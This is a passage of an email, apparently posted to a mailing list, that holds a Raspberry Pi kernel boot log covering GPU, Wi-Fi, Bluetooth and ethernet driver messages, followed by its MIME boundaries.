[Wed May 6 11:25:51 2026] [drm] Initialized vc4 0.0.0 for axi:gpu on =
minor 1
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: [drm] Cannot find any crtc =
or sizes
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: [drm] Cannot find any crtc =
or sizes
[Wed May 6 11:25:51 2026] vc4-drm axi:gpu: [drm] Cannot find any crtc =
or sizes
[Wed May 6 11:25:52 2026] brcmfmac: brcmf_c_process_txcap_blob: no =
txcap_blob available (err=3D-2)
[Wed May 6 11:25:52 2026] brcmfmac: brcmf_c_preinit_dcmds: Firmware: =
BCM4345/6 wl0: Aug 29 2023 01:47:08 version 7.45.265 (28bca26 CY) FWID =
01-b677b91b
[Wed May 6 11:25:52 2026] Bluetooth: hci0: BCM: features 0x2f
[Wed May 6 11:25:52 2026] Bluetooth: hci0: BCM43455 37.4MHz Raspberry =
Pi 3+-0190
[Wed May 6 11:25:52 2026] Bluetooth: hci0: BCM4345C0 (003.001.025) =
build 0382
[Wed May 6 11:25:52 2026] Bluetooth: hci0: BCM: Using default device =
address (43:45:c0:00:1f:ac)
[Wed May 6 11:25:54 2026] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
[Wed May 6 11:25:54 2026] Bluetooth: BNEP filters: protocol multicast
[Wed May 6 11:25:54 2026] Bluetooth: BNEP socket layer initialized
[Wed May 6 11:25:54 2026] Bluetooth: MGMT ver 1.23
[Wed May 6 11:25:54 2026] NET: Registered PF_ALG protocol family
[Wed May 6 11:25:54 2026] Bluetooth: RFCOMM TTY layer initialized
[Wed May 6 11:25:54 2026] Bluetooth: RFCOMM socket layer initialized
[Wed May 6 11:25:54 2026] Bluetooth: RFCOMM ver 1.11
[Wed May 6 11:25:56 2026] macb 1f00100000.ethernet eth0: PHY =
[1f00100000.ethernet-ffffffff:01] driver [Broadcom BCM54213PE] =
(irq=3DPOLL)
[Wed May 6 11:25:56 2026] macb 1f00100000.ethernet eth0: configuring =
for phy/rgmii-id link mode
[Wed May 6 11:25:56 2026] macb 1f00100000.ethernet: gem-ptp-timer ptp =
clock registered.
[Wed May 6 11:26:00 2026] tun: Universal TUN/TAP device driver, 1.6
[Wed May 6 11:26:07 2026] bridge: filtering via arp/ip/ip6tables is no =
longer available by default. Update your scripts to load br_netfilter if =
you need this.
[Wed May 6 11:26:07 2026] Bridge firewalling registered
[Wed May 6 11:26:07 2026] Initializing XFRM netlink socket
[Wed May 6 11:26:37 2026] macb 1f00100000.ethernet eth0: Link is Up - =
1Gbps/Full - flow control off
## journalctl kernel parted
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0
Content-Transfer-Encoding: 7bit
Content-Type: text/html;
charset=us-ascii
<html aria-label="message body"><head><meta http-equiv="content-type" content="text/html; charset=us-ascii"></head><body style="overflow-wrap: break-word; -webkit-nbsp-mode: space; line-break: after-white-space;"><div></div></body></html>
--Apple-Mail=_4EAF0B4F-5A46-446A-967F-6D69BA2B91E0--
--Apple-Mail=_8B157E67-B5AC-49D1-973B-2E30A4D15BB9--